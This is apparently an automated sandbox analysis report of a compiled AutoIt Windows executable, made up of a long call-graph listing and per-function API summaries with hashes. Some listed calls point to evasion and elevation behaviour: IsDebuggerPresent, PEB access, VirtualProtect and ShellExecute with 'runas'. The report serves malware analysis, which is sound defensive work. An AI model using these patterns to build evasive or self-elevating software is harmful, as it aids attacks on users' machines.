87925->87926 87928 40971b 87926->87928 87929 4297aa 87927->87929 87928->87923 87930 409749 CharUpperBuffW 87928->87930 87935 40976a moneypunct 87928->87935 87931 4115d7 52 API calls 87929->87931 87930->87935 87932 4297d1 _memmove 87931->87932 88491 45e737 90 API calls 3 library calls 87932->88491 87981 4097e5 moneypunct 87935->87981 88465 47dcbb 196 API calls 87935->88465 87936 42a452 87937 408f40 VariantClear 87936->87937 87938 42ae92 87937->87938 88492 410c60 VariantClear moneypunct 87938->88492 87940 42aea4 87941 409aa2 87941->87932 87943 4115d7 52 API calls 87941->87943 87947 409afe 87941->87947 87942 40a689 87944 4115d7 52 API calls 87942->87944 87943->87947 87965 40a6af moneypunct _memmove 87944->87965 87945 409b2a 87949 429dbe 87945->87949 88015 409b4d moneypunct _memmove 87945->88015 88473 40b400 VariantClear VariantClear moneypunct 87945->88473 87946 40c2c0 52 API calls 87946->87981 87947->87945 87948 4115d7 52 API calls 87947->87948 87950 429d31 87948->87950 87951 429dd3 87949->87951 88474 40b400 VariantClear VariantClear moneypunct 87949->88474 87955 429d42 87950->87955 88470 44a801 52 API calls 87950->88470 87951->88015 88475 40e1c0 VariantClear moneypunct 87951->88475 87952 429a46 VariantClear 87952->87981 87953 409fd2 87957 40a045 87953->87957 88009 42a3f5 87953->88009 87963 40e0a0 52 API calls 87955->87963 87960 4115d7 52 API calls 87957->87960 87958 408f40 VariantClear 87958->87981 87967 40a04c 87960->87967 87962 4115d7 52 API calls 87962->87981 87968 429d57 87963->87968 87972 4115d7 52 API calls 87965->87972 87973 40a0a7 87967->87973 87976 4091e0 317 API calls 87967->87976 88471 453443 52 API calls 87968->88471 87970 42a42f 88479 45e737 90 API calls 3 library calls 87970->88479 87972->87923 87994 40a0af 87973->87994 88480 40c790 VariantClear moneypunct 87973->88480 87974 4299d9 87977 408f40 VariantClear 87974->87977 87976->87973 87980 4299e2 87977->87980 87978 429abd 87978->86893 87979 429d88 88472 453443 52 API calls 87979->88472 88467 410c60 VariantClear moneypunct 87980->88467 87981->87932 87981->87936 87981->87941 87981->87942 87981->87946 87981->87952 87981->87958 87981->87962 87981->87965 87981->87974 87981->87978 87986 40a780 194 API calls 87981->87986 88466 40c4e0 194 API calls 87981->88466 88468 40ba10 52 API calls 2 library calls 87981->88468 88469 40e270 VariantClear moneypunct 87981->88469 87986->87981 87988 4115d7 52 API calls 87988->88015 87989 44a801 52 API calls 87989->88015 87991 408f40 VariantClear 88023 40a162 moneypunct _memmove 87991->88023 87992 41130a 51 API calls __cinit 87992->88015 87993 402780 52 API calls 87993->88015 87995 40a11b 87994->87995 87996 42a4b4 VariantClear 87994->87996 87994->88023 88002 40a12d moneypunct 87995->88002 88481 40e270 VariantClear moneypunct 87995->88481 87996->88002 87997 40a780 194 API calls 87997->88015 87998 408e80 VariantClear 87998->88015 88000 401980 53 API calls 88000->88015 88001 4115d7 52 API calls 88001->88023 88002->88001 88002->88023 88004 408e80 VariantClear 88004->88023 88005 42a74d VariantClear 88005->88023 88006 40a368 88008 42aad4 88006->88008 88016 40a397 88006->88016 88007 40e270 VariantClear 88007->88023 88484 46fe90 VariantClear VariantClear moneypunct 88008->88484 88478 47390f VariantClear 88009->88478 88010 42a7e4 VariantClear 88010->88023 88011 42a886 VariantClear 88011->88023 88012 409c95 88012->86893 88013 40a3ce 88028 40a3d9 moneypunct 88013->88028 88485 40b400 VariantClear VariantClear moneypunct 88013->88485 88015->87923 88015->87953 88015->87970 88015->87988 88015->87989 88015->87992 88015->87993 88015->87997 88015->87998 88015->88000 88015->88009 88015->88012 88476 45f508 52 API calls 88015->88476 88477 403e10 53 API calls 88015->88477 88016->88013 88040 40a42c moneypunct 88016->88040 88464 40b400 VariantClear VariantClear moneypunct 88016->88464 88019 42abaf 88024 42abd4 VariantClear 88019->88024 88034 40a4ee moneypunct 88019->88034 88020 4115d7 52 API calls 88020->88023 88021 40a4dc 88021->88034 88487 40e270 VariantClear moneypunct 88021->88487 88022 4115d7 52 API calls 88025 42a5a6 VariantInit VariantCopy 88022->88025 88023->87991 88023->88004 88023->88005 88023->88006 88023->88007 88023->88008 88023->88010 88023->88011 88023->88020 88023->88022 88482 470870 52 API calls 88023->88482 88483 44ccf1 VariantClear moneypunct 88023->88483 88024->88034 88025->88023 88030 42a5c6 VariantClear 88025->88030 88026 42ac4f 88035 42ac79 VariantClear 88026->88035 88041 40a546 moneypunct 88026->88041 88029 40a41a 88028->88029 88032 42ab44 VariantClear 88028->88032 88028->88040 88029->88040 88486 40e270 VariantClear moneypunct 88029->88486 88030->88023 88031 40a534 88031->88041 88488 40e270 VariantClear moneypunct 88031->88488 88032->88040 88034->88026 88034->88031 88035->88041 88036 42ad28 88042 42ad4e VariantClear 88036->88042 88047 40a583 moneypunct 88036->88047 88039 40a571 88039->88047 88489 40e270 VariantClear moneypunct 88039->88489 88040->88019 88040->88021 88041->88036 88041->88039 88042->88047 88044 40a650 moneypunct 88044->86893 88045 42ae0e VariantClear 88045->88047 88047->88044 88047->88045 88490 40e270 VariantClear moneypunct 88047->88490 88048->86893 88049->86893 88050->86893 88051->86845 88052->86849 88053->86893 88054->86893 88055->86893 88056->86893 88057->86900 88058->86900 88059->86900 88060->86900 88061->86900 88062->86900 88063->86900 88065 403cdf 88064->88065 88066 408f40 VariantClear 88065->88066 88067 403ce7 88066->88067 88067->86887 88068->86900 88069->86900 88070->86893 88071->86842 88073 408e88 88072->88073 88075 408e94 88072->88075 88074 408f40 VariantClear 88073->88074 88074->88075 88075->87803 88075->88075 88076->87805 88077->87809 88078->87811 88079->87813 88080->87797 88081->87789 88082->87825 88083->87822 88084->87843 88085->87834 88086->87789 88088 40a7a6 88087->88088 88089 40ae8c 88087->88089 88091 4115d7 52 API calls 88088->88091 88130 41130a 51 API calls __cinit 88089->88130 88125 40a7c6 moneypunct _memmove 88091->88125 88092 40a86d 88093 40abd1 88092->88093 88110 40a878 moneypunct 88092->88110 88135 45e737 90 API calls 3 library calls 88093->88135 88095 401b10 52 API calls 88095->88125 88096 40b5f0 89 API calls 88096->88125 88097 408e80 VariantClear 88097->88125 88098 42b791 VariantClear 88098->88125 88099 42ba2d VariantClear 88099->88125 88100 408f40 VariantClear 88100->88110 88101 42b459 VariantClear 88101->88125 88102 40a884 moneypunct 88102->87843 88103 40e270 VariantClear 88103->88125 88104 408cc0 187 API calls 88104->88125 88105 42b6f6 VariantClear 88105->88125 88106 40bc10 53 API calls 88106->88125 88108 42bc5b 88108->87843 88109 42bb6a 88138 44b92d VariantClear 88109->88138 88110->88100 88110->88102 88111 42bbf5 88136 45e737 90 API calls 3 library calls 88111->88136 88113 4115d7 52 API calls 88115 42b5b3 VariantInit VariantCopy 88113->88115 88114 408f40 VariantClear 88114->88125 88119 42b5d7 VariantClear 88115->88119 88115->88125 88117 4115d7 52 API calls 88117->88125 88119->88125 88121 42bc37 88137 45e737 90 API calls 3 library calls 88121->88137 88124 42bc48 88124->88109 88126 408f40 VariantClear 88124->88126 88125->88092 88125->88093 88125->88095 88125->88096 88125->88097 88125->88098 88125->88099 88125->88101 88125->88103 88125->88104 88125->88105 88125->88106 88125->88109 88125->88111 88125->88113 88125->88114 88125->88117 88125->88121 88127 4530c9 VariantClear 88125->88127 88131 45308a 53 API calls 88125->88131 88132 470870 52 API calls 88125->88132 88133 457f66 87 API calls __write_nolock 88125->88133 88134 472f47 127 API calls 88125->88134 88126->88109 88127->88125 88128->87830 88129->87833 88130->88125 88131->88125 88132->88125 88133->88125 88134->88125 88135->88109 88136->88109 88137->88124 88138->88108 88139->87850 88140->87855 88141->87869 88142->87871 88143->87858 88144->87875 88145->87904 88146->87875 88147->87906 88148->87875 88149->87906 88150->87889 88151->87906 88152->87891 88153->87906 88154->87906 88155->87884 88157 4289d2 88156->88157 88158 408db3 88156->88158 88188 45e737 90 API calls 3 library calls 88157->88188 88186 40bec0 90 API calls 88158->88186 88161 4289e5 88189 45e737 90 API calls 3 library calls 88161->88189 88162 408e5a 88162->87909 88164 428a05 88166 408f40 VariantClear 88164->88166 88166->88162 88167 40a780 194 API calls 88168 408dc9 88167->88168 88168->88161 88168->88162 88168->88164 88168->88167 88169 408e64 88168->88169 88171 408f40 VariantClear 88168->88171 88187 40ba10 52 API calls 2 library calls 88168->88187 88170 408f40 VariantClear 88169->88170 88170->88162 88171->88168 88173 408f40 VariantClear 88172->88173 88174 403d20 88173->88174 88175 403cd0 VariantClear 88174->88175 88176 403d4d 88175->88176 88179 4013c0 52 API calls 88176->88179 88190 45e17d 88176->88190 88200 4755ad 88176->88200 88203 46e91c 88176->88203 88206 40de10 88176->88206 88211 467897 88176->88211 88177 403d76 88177->87910 88177->87920 88179->88177 88184->87910 88185->87912 88186->88168 88187->88168 88188->88161 88189->88164 88191 45e198 88190->88191 88192 45e19c 88191->88192 88193 45e1b8 88191->88193 88194 408f40 VariantClear 88192->88194 88195 45e1cc 88193->88195 88196 45e1db FindClose 88193->88196 88197 45e1a4 88194->88197 88198 45e1d9 moneypunct 88195->88198 88255 44ae3e 88195->88255 88196->88198 88197->88177 88198->88177 88268 475077 88200->88268 88202 4755c0 88202->88177 88374 46e785 88203->88374 88205 46e92f 88205->88177 88207 4115d7 52 API calls 88206->88207 88208 40de23 88207->88208 88209 40da20 CloseHandle 88208->88209 88210 40de2e 88209->88210 88210->88177 88212 4678bb 88211->88212 88240 467954 88212->88240 88458 45340c 85 API calls 88212->88458 88213 4115d7 52 API calls 88214 467989 88213->88214 88216 467995 88214->88216 88462 40da60 53 API calls 88214->88462 88221 4533eb 85 API calls 88216->88221 88217 4678f6 88219 413a0e __wsplitpath 46 API calls 88217->88219 88220 4678fc 88219->88220 88223 401b10 52 API calls 88220->88223 88222 4679b7 88221->88222 88224 40de40 60 API calls 88222->88224 88225 46790c 88223->88225 88226 4679c3 88224->88226 88459 40d200 52 API calls 2 library calls 88225->88459 88228 4679c7 GetLastError 88226->88228 88229 467a05 88226->88229 88231 403cd0 VariantClear 88228->88231 88232 467a2c 88229->88232 88233 467a4b 88229->88233 88230 467917 88230->88240 88460 4339fa GetFileAttributesW FindFirstFileW FindClose 88230->88460 88234 4679dc 88231->88234 88236 4115d7 52 API calls 88232->88236 88237 4115d7 52 API calls 88233->88237 88238 4679e6 88234->88238 88244 44ae3e CloseHandle 88234->88244 88242 467a31 88236->88242 88243 467a49 88237->88243 88246 408f40 VariantClear 88238->88246 88239 467928 88239->88240 88245 46792f 88239->88245 88240->88213 88241 467964 88240->88241 88241->88177 88463 436299 52 API calls 2 library calls 88242->88463 88250 408f40 VariantClear 88243->88250 88244->88238 88461 4335cd 56 API calls 3 library calls 88245->88461 88249 4679ed 88246->88249 88249->88177 88252 467a88 88250->88252 88251 467939 88251->88240 88253 408f40 VariantClear 88251->88253 88252->88177 88254 467947 88253->88254 88254->88240 88256 44ae4b moneypunct 88255->88256 88258 443fdf 88255->88258 88256->88198 88263 40da20 88258->88263 88260 443feb 88267 4340db CloseHandle moneypunct 88260->88267 88262 444001 88262->88256 88264 40da37 88263->88264 88265 40da29 88263->88265 88264->88265 88266 40da3c CloseHandle 88264->88266 88265->88260 88266->88260 88267->88262 88321 4533eb 88268->88321 88271 4750ee 88274 408f40 VariantClear 88271->88274 88272 475129 88325 4646e0 88272->88325 88279 4750f5 88274->88279 88275 47515e 88276 475162 88275->88276 88314 47518e 88275->88314 88277 408f40 VariantClear 88276->88277 88308 475169 88277->88308 88278 475357 88280 475365 88278->88280 88281 4754ea 88278->88281 88279->88202 88359 44b3ac 57 API calls 88280->88359 88365 464812 92 API calls 88281->88365 88285 4754fc 88286 475374 88285->88286 88288 475508 88285->88288 88338 430d31 88286->88338 88287 4533eb 85 API calls 88287->88314 88289 408f40 VariantClear 88288->88289 88292 47550f 88289->88292 88292->88308 88293 475388 88345 4577e9 88293->88345 88295 47539e 88353 410cfc 88295->88353 88296 475480 88298 408f40 VariantClear 88296->88298 88298->88308 88300 4753d4 88361 40e830 53 API calls 88300->88361 88301 4753b8 88360 45e737 90 API calls 3 library calls 88301->88360 88304 4753c5 GetCurrentProcess TerminateProcess 88304->88300 88305 4753e3 88319 475406 88305->88319 88362 40cf00 53 API calls 88305->88362 88306 4754b5 88307 408f40 VariantClear 88306->88307 88307->88308 88308->88202 88311 4753f8 88314->88278 88314->88287 88314->88296 88314->88306 88314->88314 88357 436299 52 API calls 2 library calls 88314->88357 88358 463ad5 64 API calls __wcsicoll 88314->88358 88320 408f40 VariantClear 88319->88320 88320->88319 88322 453404 88321->88322 88323 4533f8 88321->88323 88322->88271 88322->88272 88323->88322 88368 4531b1 85 API calls 5 library calls 88323->88368 88369 4536f7 53 API calls 88325->88369 88327 4646fc 88370 4426cd 59 API calls _wcslen 88327->88370 88329 464711 88331 40bc70 52 API calls 88329->88331 88336 46474b 88329->88336 88332 46472c 88331->88332 88371 461465 52 API calls _memmove 88332->88371 88334 464741 88335 40c600 52 API calls 88334->88335 88335->88336 88337 464793 88336->88337 88372 463ad5 64 API calls __wcsicoll 88336->88372 88337->88275 88339 430db2 88338->88339 88340 430d54 88338->88340 88339->88293 88341 4115d7 52 API calls 88340->88341 88344 430d74 88341->88344 88342 430da9 88342->88293 88343 4115d7 52 API calls 88343->88344 88344->88342 88344->88343 88346 457a84 88345->88346 88351 45780c _strcat moneypunct _wcslen _wcscpy 88345->88351 88346->88295 88347 45340c 85 API calls 88347->88351 88348 443006 57 API calls 88348->88351 88350 4135bb 46 API calls _malloc 88350->88351 88351->88346 88351->88347 88351->88348 88351->88350 88352 40f6f0 54 API calls 88351->88352 88373 44b3ac 57 API calls 88351->88373 88352->88351 88356 410d11 88353->88356 88354 410da9 VirtualProtect 88355 410d77 88354->88355 88355->88300 88355->88301 88356->88354 88356->88355 88357->88314 88358->88314 88359->88286 88360->88304 88361->88305 88362->88311 88365->88285 88368->88322 88369->88327 88370->88329 88371->88334 88372->88337 88373->88351 88375 46e7a2 88374->88375 88376 4115d7 52 API calls 88375->88376 88379 46e802 88375->88379 88377 46e7ad 88376->88377 88378 46e7b9 88377->88378 88422 40da60 53 API calls 88377->88422 88383 4533eb 85 API calls 88378->88383 88380 46e7e5 88379->88380 88387 46e82f 88379->88387 88382 408f40 VariantClear 88380->88382 88384 46e7ea 88382->88384 88385 46e7ca 88383->88385 88384->88205 88423 40de40 88385->88423 88386 46e8b5 88415 4680ed 88386->88415 88387->88386 88390 46e845 88387->88390 88393 4533eb 85 API calls 88390->88393 88392 46e8bb 88419 443fbe 88392->88419 88395 46e84b 88393->88395 88394 46e7db 88394->88380 88397 44ae3e CloseHandle 88394->88397 88396 46e87a 88395->88396 88400 46e883 88395->88400 88435 4689f4 59 API calls 88396->88435 88397->88380 88401 4013c0 52 API calls 88400->88401 88403 46e88f 88401->88403 88405 40e0a0 52 API calls 88403->88405 88404 408f40 VariantClear 88413 46e881 88404->88413 88406 46e899 88405->88406 88436 40d200 52 API calls 2 library calls 88406->88436 88408 46e911 88408->88205 88409 46e8a5 88437 4689f4 59 API calls 88409->88437 88410 40da20 CloseHandle 88412 46e903 88410->88412 88414 44ae3e CloseHandle 88412->88414 88413->88408 88413->88410 88414->88408 88416 468100 88415->88416 88417 4680fa 88415->88417 88416->88392 88438 467ac4 55 API calls 2 library calls 88417->88438 88439 443e36 88419->88439 88421 443fd3 88421->88404 88421->88413 88422->88378 88424 40da20 CloseHandle 88423->88424 88425 40de4e 88424->88425 88446 40f110 88425->88446 88428 4264fa 88430 40de84 88455 40e080 SetFilePointerEx SetFilePointerEx 88430->88455 88432 40de8b 88456 40f160 SetFilePointerEx SetFilePointerEx WriteFile 88432->88456 88434 40de90 88434->88387 88434->88394 88435->88413 88436->88409 88437->88413 88438->88416 88442 443e19 88439->88442 88443 443e26 88442->88443 88444 443e32 WriteFile 88442->88444 88445 443db4 SetFilePointerEx SetFilePointerEx 88443->88445 88444->88421 88445->88444 88447 40f125 CreateFileW 88446->88447 88448 42630c 88446->88448 88450 40de74 88447->88450 88449 426311 CreateFileW 88448->88449 88448->88450 88449->88450 88451 426337 88449->88451 88450->88428 88454 40dea0 55 API calls moneypunct 88450->88454 88457 40df90 SetFilePointerEx SetFilePointerEx 88451->88457 88453 426342 88453->88450 88454->88430 88455->88432 88456->88434 88457->88453 88458->88217 88459->88230 88460->88239 88461->88251 88462->88216 88463->88243 88464->88013 88465->87935 88466->87981 88467->88044 88468->87981 88469->87981 88470->87955 88471->87979 88472->87945 88473->87949 88474->87951 88475->88015 88476->88015 88477->88015 88478->87970 88479->87936 88480->87973 88481->88002 88482->88023 88483->88023 88484->88013 88485->88028 88486->88040 88487->88034 88488->88041 88489->88047 88490->88047 88491->87936 88492->87940 88493 42d154 88497 480a8d 88493->88497 88495 42d161 88496 480a8d 194 API calls 88495->88496 88496->88495 88498 480ae4 88497->88498 88499 480b26 88497->88499 88500 480aeb 88498->88500 88501 480b15 88498->88501 88502 40bc70 52 API calls 88499->88502 88503 480aee 88500->88503 88504 480b04 88500->88504 88530 4805bf 194 API calls 88501->88530 88510 480b2e 88502->88510 88503->88499 88506 480af3 88503->88506 88529 47fea2 194 API calls __itow_s 88504->88529 88528 47f135 194 API calls 88506->88528 88508 40e0a0 52 API calls 88508->88510 88510->88508 88513 480aff 88510->88513 88517 40e710 53 API calls 88510->88517 88518 401980 53 API calls 88510->88518 88520 40c2c0 52 API calls 88510->88520 88521 480ff5 88510->88521 88522 408e80 VariantClear 88510->88522 88523 40a780 194 API calls 88510->88523 88531 45377f 52 API calls 88510->88531 88532 45e951 53 API calls 88510->88532 88533 40e830 53 API calls 88510->88533 88534 47925f 53 API calls 88510->88534 88535 47fcff 194 API calls 88510->88535 88512 408f40 VariantClear 88514 481156 88512->88514 88513->88512 88515 408f40 VariantClear 88514->88515 88516 48115e 88515->88516 88516->88495 88517->88510 88518->88510 88520->88510 88536 45e737 90 API calls 3 library calls 88521->88536 88522->88510 88523->88510 88528->88513 88529->88513 88530->88513 88531->88510 88532->88510 88533->88510 88534->88510 88535->88510 88536->88513 88537 41813f0 88551 417f040 88537->88551 88539 41814a2 88554 41812e0 88539->88554 88557 41824d0 GetPEB 88551->88557 88553 417f6cb 88553->88539 88555 41812e9 Sleep 88554->88555 88556 41812f7 88555->88556 88558 41824fa 88557->88558 88558->88553 88559 42b14b 88566 40bc10 88559->88566 88561 42b159 88562 4096a0 331 API calls 88561->88562 88563 42b177 88562->88563 88577 44b92d VariantClear 88563->88577 88565 42bc5b 88567 40bc24 88566->88567 88568 40bc17 88566->88568 88570 40bc2a 88567->88570 88571 40bc3c 88567->88571 88569 408e80 VariantClear 88568->88569 88572 40bc1f 88569->88572 88573 408e80 VariantClear 88570->88573 88574 4115d7 52 API calls 88571->88574 88572->88561 88575 40bc33 88573->88575 88576 40bc43 88574->88576 88575->88561 88576->88561 88577->88565 88578 425b2b 88583 40f000 88578->88583 88582 425b3a 88584 4115d7 52 API calls 88583->88584 88585 40f007 88584->88585 88586 4276ea 88585->88586 88592 40f030 88585->88592 88591 41130a 51 API calls __cinit 88591->88582 88593 40f039 88592->88593 88594 40f01a 88592->88594 88622 41130a 51 API calls __cinit 88593->88622 88596 40e500 88594->88596 88597 40bc70 52 API calls 88596->88597 88598 40e515 GetVersionExW 88597->88598 88599 402160 52 API calls 88598->88599 88600 40e557 88599->88600 88623 40e660 88600->88623 88605 427674 88610 4276c6 GetSystemInfo 88605->88610 88608 40e5e0 88611 4276d5 GetSystemInfo 88608->88611 88637 40efd0 88608->88637 88609 40e5cd GetCurrentProcess 88644 40ef20 LoadLibraryA GetProcAddress 88609->88644 88610->88611 88615 40e629 88641 40ef90 88615->88641 88618 40e641 FreeLibrary 88619 40e644 88618->88619 88620 40e653 FreeLibrary 88619->88620 88621 40e656 88619->88621 88620->88621 88621->88591 88622->88594 88624 40e667 88623->88624 88625 42761d 88624->88625 88626 40c600 52 API calls 88624->88626 88627 40e55c 88626->88627 88628 40e680 88627->88628 88629 40e687 88628->88629 88630 427616 88629->88630 88631 40c600 52 API calls 88629->88631 88632 40e566 88631->88632 88632->88605 88633 40ef60 88632->88633 88634 40e5c8 88633->88634 88635 40ef66 LoadLibraryA 88633->88635 88634->88608 88634->88609 88635->88634 88636 40ef77 GetProcAddress 88635->88636 88636->88634 88638 40e620 88637->88638 88639 40efd6 LoadLibraryA 88637->88639 88638->88610 88638->88615 88639->88638 88640 40efe7 GetProcAddress 88639->88640 88640->88638 88645 40efb0 LoadLibraryA GetProcAddress 88641->88645 88643 40e632 GetNativeSystemInfo 88643->88618 88643->88619 88644->88608 88645->88643 88646 425b5e 88651 40c7f0 88646->88651 88650 425b6d 88686 40db10 52 API calls 88651->88686 88653 40c82a 88687 410ab0 6 API calls 88653->88687 88655 40c86d 88656 40bc70 52 API calls 88655->88656 88657 40c877 88656->88657 88658 40bc70 52 API calls 88657->88658 88659 40c881 88658->88659 88660 40bc70 52 API calls 88659->88660 88661 40c88b 88660->88661 88662 40bc70 52 API calls 88661->88662 88663 40c8d1 88662->88663 88664 40bc70 52 API calls 88663->88664 88665 40c991 88664->88665 88688 40d2c0 52 API calls 88665->88688 88667 40c99b 88689 40d0d0 53 API calls 88667->88689 88669 40c9c1 88670 40bc70 52 API calls 88669->88670 88671 40c9cb 88670->88671 88690 40e310 53 API calls 88671->88690 88673 40ca28 88674 408f40 VariantClear 88673->88674 88675 40ca30 88674->88675 88676 408f40 VariantClear 88675->88676 88677 40ca38 GetStdHandle 88676->88677 88678 429630 88677->88678 88679 40ca87 88677->88679 88678->88679 88680 429639 88678->88680 88685 41130a 51 API calls __cinit 88679->88685 88691 4432c0 57 API calls 88680->88691 88682 429641 88692 44b6ab CreateThread 88682->88692 88684 42964f CloseHandle 88684->88679 88685->88650 88686->88653 88687->88655 88688->88667 88689->88669 88690->88673 88691->88682 88692->88684 88693 44b5cb 58 API calls 88692->88693 88694 425b6f 88699 40dc90 88694->88699 88698 425b7e 88700 40bc70 52 API calls 88699->88700 88701 40dd03 88700->88701 88708 40f210 88701->88708 88703 426a97 88705 40dd96 88705->88703 88706 40ddb7 88705->88706 88711 40dc00 52 API calls 2 library calls 88705->88711 88707 41130a 51 API calls __cinit 88706->88707 88707->88698 88712 40f250 RegOpenKeyExW 88708->88712 88710 40f230 88710->88705 88711->88705 88713 425e17 88712->88713 88714 40f275 RegQueryValueExW 88712->88714 88713->88710 88715 40f2c3 RegCloseKey 88714->88715 88716 40f298 88714->88716 88715->88710 88717 40f2a9 RegCloseKey 88716->88717 88718 425e1d 88716->88718 88717->88710

                              Executed Functions

                              Function 004096A0 Relevance: 33.9, APIs: 21, Instructions: 2413COMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 004096C1
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • _memmove.LIBCMT ref: 0040970C
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                              • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00000000), ref: 00409753
                              • _memmove.LIBCMT ref: 00409D96
                              • _memmove.LIBCMT ref: 0040A6C4
                              • _memmove.LIBCMT ref: 004297E5
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove$std::exception::exception$BuffCharException@8ThrowUpper_malloc_wcslen
                              • String ID:
                              • API String ID: 2383988440-0
                              • Opcode ID: c80423eaff0593ad1daf6fa7b1063788de4f89018b33fd36f38930ce8cd7e028
                              • Instruction ID: 3262ed4b583d717621f118bf118656dde374edbe3d76219253c131e703a2432c
                              • Opcode Fuzzy Hash: c80423eaff0593ad1daf6fa7b1063788de4f89018b33fd36f38930ce8cd7e028
                              • Instruction Fuzzy Hash: CD13BF706043109FD724DF25D480A2BB7E1BF89304F54896EE8869B392D739EC56CB9B
                              Function 0040D590 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 144windowCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0040D5AA
                                • Part of subcall function 00401F20: GetModuleFileNameW.KERNEL32(00000000,004A7F6C,00000104,?), ref: 00401F4C
                                • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402007
                                • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 0040201D
                                • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402033
                                • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402049
                                • Part of subcall function 00401F20: _wcscpy.LIBCMT ref: 0040207C
                              • IsDebuggerPresent.KERNEL32 ref: 0040D5B6
                              • GetFullPathNameW.KERNEL32(004A7F6C,00000104,?,004A7F50,004A7F54), ref: 0040D625
                                • Part of subcall function 00401460: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 004014A5
                              • SetCurrentDirectoryW.KERNEL32(?,00000001), ref: 0040D699
                              • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,00484C92,00000010), ref: 0042E1C9
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0042E238
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0042E268
                              • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 0042E2B2
                              • ShellExecuteW.SHELL32(00000000), ref: 0042E2B9
                                • Part of subcall function 00410390: GetSysColorBrush.USER32(0000000F), ref: 0041039B
                                • Part of subcall function 00410390: LoadCursorW.USER32(00000000,00007F00), ref: 004103AA
                                • Part of subcall function 00410390: LoadIconW.USER32(?,00000063), ref: 004103C0
                                • Part of subcall function 00410390: LoadIconW.USER32(?,000000A4), ref: 004103D3
                                • Part of subcall function 00410390: LoadIconW.USER32(?,000000A2), ref: 004103E6
                                • Part of subcall function 00410390: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041040E
                                • Part of subcall function 00410390: RegisterClassExW.USER32(?), ref: 0041045D
                                • Part of subcall function 00410570: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 004105A5
                                • Part of subcall function 00410570: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 004105CE
                                • Part of subcall function 00410570: ShowWindow.USER32(?,00000000), ref: 004105E4
                                • Part of subcall function 00410570: ShowWindow.USER32(?,00000000), ref: 004105EE
                                • Part of subcall function 0040E0C0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E1A7
                              Strings
                              • runas, xrefs: 0042E2AD, 0042E2DC
                              • This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support., xrefs: 0042E1C2
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcscpy
                              • String ID: This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                              • API String ID: 2495805114-3383388033
                              • Opcode ID: a40813cb8be74a7845095afbf10676f30eabccecee99da57b5cbcca8d29a6aad
                              • Instruction ID: d8104b1e62918721d1641daf81013a976a0e8d4b3b5b72af0edf1e1af392be53
                              • Opcode Fuzzy Hash: a40813cb8be74a7845095afbf10676f30eabccecee99da57b5cbcca8d29a6aad
                              • Instruction Fuzzy Hash: A3513B71A48201AFD710B7E1AC45BEE3B689B59714F4049BFF905672D2CBBC4A88C72D
                              Function 0040E500 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 157COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
